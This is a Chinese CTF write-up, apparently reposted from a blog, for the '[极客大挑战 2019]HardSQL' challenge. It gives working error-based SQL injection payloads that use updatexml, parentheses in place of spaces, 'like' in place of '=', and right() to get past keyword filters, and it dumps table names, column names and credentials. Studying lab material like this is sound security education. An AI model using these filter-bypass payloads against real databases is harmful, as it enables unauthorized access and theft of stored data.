首页 > 数据库 >[极客大挑战 2019]HardSQL 1

[极客大挑战 2019]HardSQL 1

时间:2025-01-02 09:27:22浏览次数:3  
标签:极客 HardSQL 0x7e 空格 flag 报错 updatexml 2019 concat

看了大佬的wp,没用字典爆破,手动试出来的,屏蔽了常用的关键字,例如:order select union and 最搞的是,空格也有,这个空格后面让我看了好久,该在哪里加括号。

先传入1’ 1试试,发现提示报错:

其实这里提示了报错信息,就可以试一试报错注入了,当然这是事后诸葛亮,还是常规的注入试试,发现行不通。

这里就已经给屏蔽词才的差不多了,该进行报错注入了,使用:1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#

报出数据库名:geek

然后这里是没用空格的,但是爆表的时候,发现不对劲,要加上空格,但是空格被屏蔽了,于是就更换()来进行:1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#

拿到表名:H4rDsq1

接着就是拿到列名:

1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#

注意这里等号也被屏蔽了,使用like进行替换。

拿到列名信息,接下来就是输出相关信息:

1'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))#

这里使用~来做一个填充,区别user列和pass列,然后得到信息:

拿到信息了,但是没拿完,拿了一半的flag,这是为什么?因为报错注入,最多显示32个字符,所以还要对后面的字符进行输出,但是这里又碰到substr关键字被屏蔽,也是。。。没办法,又看看大佬的wp,原来是用的right()突破字符限制,就是从字符串的最右边起,开始选字符。

例如:SELECT RIGHT('Hello, World', 5);

这将返回World。

所以接着的语句就是:

这里还有最后一点需要注意,就是在拼接的时候,不能想当然的把两个字符串拼接。要除去相同的部分:

'~flag~flag{93c21fdf-7e2b-4d48-ae'

'~b-4d48-ae6c-8abab092b920}~'

拼接后就是:flag{93c21fdf-7e2b-4d48-ae6c-8abab092b920}

这里的flag是动态的,别尝试用这个。

还可以用:^来更换or,然后不用updatexml(),而是使用:extractvalue()原理都是一样的。

大佬的wp:非常经典的一道SQL报错注入题目[极客大挑战 2019]HardSQL 1(两种解法!)-CSDN博客

标签:极客,HardSQL,0x7e,空格,flag,报错,updatexml,2019,concat
From: https://blog.csdn.net/m0_59527104/article/details/144856326

相关文章

  • Luogu P9646 SNCPC2019 Paper-cutting 题解 [ 紫 ] [ manacher ] [ 贪心 ] [ 哈希 ] [
    Paper-cutting:思维很好,但代码很构式的manacher题。蒟蒻2025年切的第一道题,是个紫,并且基本独立想出的,特此纪念。判断能否折叠我们先考虑一部分能折叠需要满足什么条件。显然,这一部分需要是一个长度为偶数的回文串。那么横向和纵向会不会影响呢?答案是不会,因为横向折了之后,折......
  • [PA2019] Desant Solution
    [PA2019]DesantSolution原题链接。题目大意:给定一个长为\(n(n\le40)\)的排列,对于每个\(i\)求出长度为\(i\)的子序列逆序对最少有多少,并且求出有多少个长度为\(i\)的子序列逆序对最少。解题思路:首先有一个暴力的做法,设\(f_{i,S}\)表示考虑完前\(i\)个数,选择了集......
  • E92 换根DP+倍增 P5666 [CSP-S2019] 树的重心
    视频链接:E92换根DP+倍增P5666[CSP-S2019]树的重心_哔哩哔哩_bilibili   P5666[CSP-S2019]树的重心-洛谷|计算机科学教育新生态(luogu.com.cn)//换根DP+倍增O(nlogn)#include<iostream>#include<cstring>#include<algorithm>#include<vector>us......
  • 12.25随笔 java实战2019年试题(2)
    后天上午就要期末考试了,最后尝试一下2019年试题Servlet设计与实现登录importjavax.servlet.ServletException;importjavax.servlet.annotation.WebServlet;importjavax.servlet.http.HttpServlet;importjavax.servlet.http.HttpServletRequest;importjavax.servlet.h......
  • 12.24随笔 java实战2019年考题(1)
    距离期末考试还有三天,我最后把建民老师发的2019年考题进行一次上手解答,看看自己大概能拿到多少分。先建表房产基本信息表CREATETABLEhouse_basic_info(house_idVARCHAR(20)PRIMARYKEY,room_typeENUM('四室两厅','四室一厅','三室两厅','三室一厅','两室两厅','两......
  • 12.22 java实战 2019年考题(1)
    今天来实战建民老师发的2019年考试试题在IDE中创建一个Maven项目,项目的基本目录结构如下:src/main/java:用于存放Java源代码,包括Servlet、JavaBean、DAO等各类类src/main/resources:放置配置文件src/main/webapp:Web相关资源目录,包含HTML、CSS、JavaScript文件以及WEB-......
  • 12.23博客 java实战2019年试题
    今天继续完成建民老师发的2019年试题DAO层设计(数据访问对象,用于数据库操作)员工信息importjava.sql.Connection;importjava.sql.DriverManager;importjava.sql.PreparedStatement;importjava.sql.ResultSet;importjava.sql.SQLException;importjava.util.ArrayList;......
  • 极客说|AIGC?安全的才是最好的
    作者:魏新宇- 微软AI全球黑带高级技术专家「极客说」是一档专注AI时代开发者分享的专栏,我们邀请来自微软以及技术社区专家,带来最前沿的技术干货与实践经验。在这里,您将看到深度教程、最佳实践和创新解决方案。关注「极客说」,与行业顶尖专家一起探索科技的无限可能!越来越......
  • 12.19 JAVA实战2019错题本系统(1)
    今天实战写一下建民老师发的2019年错题本系统。1.在IDE中创建一个Maven项目,项目的基本目录结构如下:src/main/java:用于存放Java源代码,包括Servlet、JavaBean等类。src/main/resources:放置配置文件,如数据库连接配置文件(.properties文件)等。src/main/webapp:Web相关资源......
  • 12.20 java实战2019年错题本系统(2)
    今天继续2019年错题本系统的练习,昨天已经完成了除增删改查和页面设计的其他部分。1.新增请假申请Servlet(AddLeaveServlet)importjavax.servlet.ServletException;importjavax.servlet.annotation.WebServlet;importjavax.servlet.http.HttpServlet;importjavax.servlet.h......